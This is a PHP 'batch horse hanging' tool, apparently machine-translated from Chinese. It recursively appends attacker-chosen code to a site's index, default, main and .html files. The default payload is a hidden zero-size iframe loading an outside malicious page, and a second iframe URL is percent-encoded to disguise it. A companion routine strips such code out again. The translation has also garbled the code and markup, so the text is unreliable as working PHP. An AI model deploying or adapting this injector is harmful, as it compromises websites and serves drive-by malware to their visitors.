Copy Code code as follows:
<?php
function Gmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "Continue");
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Gmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm]);
$handle = @fopen ("$file", "a");
@fwrite ($handle, "$mm");
@fclose ($handle);
echo "has been hanged Horse file: $file \n<br>";
}
}
}
$d->close ();
echo "";
}
function Qmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "Continue");
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Qmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm]);
$handle = fopen ("$file", "RB");
$oldcontent =fread ($handle, FileSize ($file));
Fclose ($handle);
$newcontent =str_replace ($MM, "", $oldcontent);
$FW = fopen ("$file", "WB");
Fwrite ($FW, $newcontent, strlen ($newcontent));
Fclose ($FW);
echo "has clear horse document: $file \n<br>";
}
}
}
$d->close ();
echo "";
}
if ($_get[' action ']== ' GM ') {
Set_time_limit (0);
Gmfun ($_post["dir"]);
}
if ($_get[' action ']== ' QM ') {
Set_time_limit (0);
Qmfun ($_post["dir"]);
}
?>
<title> Bulk Horse (Qing MA) program PHP version </title><body>
<form action= "$PHP _self?>?action=gm" method= "POST" >
<table border= "0″align=" center "cellpadding=" 0″cellspacing= "0″>
<tr>
<TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center "><font color=" #00FF00 ″size= "4″> Website Batch Horse program PHP version
by n3tl04d</font></div>
<td> </tr>
<tr>
<TD height= "27″bgcolor=" #CCCCCC "> Path:</td>
<TD height= "27″bgcolor=" #CCCCCC "> <input name=" dir "type=" text "value=". > (can be filled in relative path)
<td> </tr>
<tr>
<TD height= "27″bgcolor=" #CCCCCC "> Hang horse keyword:</td>
<TD height= "27″bgcolor=" #CCCCCC "> <input name=" key "type=" text "Value= ' index\.|" default\.| main\.| \.html ' >-– Regular expression matching--
<TD colspan= "2″height=" 1″></td>
<td> </tr>
<tr>
<TD height= "25″bgcolor=" #CCCCCC > Want to write to the horse code:</td>
<TD height= "25″bgcolor=" #CCCCCC "><input name=" mm "type=" text "size=" 50″value= "<iframe src=http:// 982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe> ' >
<td> </tr>
<tr>
<TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center ">
<input type= "Submit" name= "Submission" value= "submitted" >
<input type= "reset" name= "submit2″value=" reset ">
</div></td>
<td> </tr>
</table>
</form>
<form action= "$PHP _self?>?action=qm" method= "POST" >
<table border= "0″align=" center "cellpadding=" 0″cellspacing= "0″>
<tr>
<TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center "><font color=" #00FF00 ″size= "4″> Batch Qing ma tools PHP version
By the Wind (LST) </font></div>
<td> </tr>
<tr>
<TD height= "27″bgcolor=" #CCCCCC "> Path:</td>
<TD height= "27″bgcolor=" #CCCCCC "> <input name=" dir "type=" text "value=". > (can be filled in relative path)
<td> </tr>
<tr>
<TD height= "27″bgcolor=" #CCCCCC "The key word:</td> of Qing ma
<TD height= "27″bgcolor=" #CCCCCC "> <input name=" key "type=" text "Value= ' index\.|" default\.| main\.| \.html ' >-– Regular expression matching--
<TD colspan= "2″height=" 1″></td>
<td> </tr>
<tr>
<TD height= "25″bgcolor=" #CCCCCC > Want to clear up the horse code:</td>
<TD height= "25″bgcolor=" #CCCCCC "><input name=" mm "type=" text "size=" 50″value= "<iframe src=http://%31%73 %61%6e%69%32%6b%6d%2e%63%6e/%6a%6a%32.htm width=50 height=0 frameborder=0></iframe> ' >
<td> </tr>
<tr>
<TD height= "25″colspan=" 2″bgcolor= "006699″> <div align=" center ">
<input type= "Submit" name= "Submission" value= "submitted" >
<input type= "reset" name= "submit2″value=" reset ">
</div></td>
<td> </tr>
</table>
</form>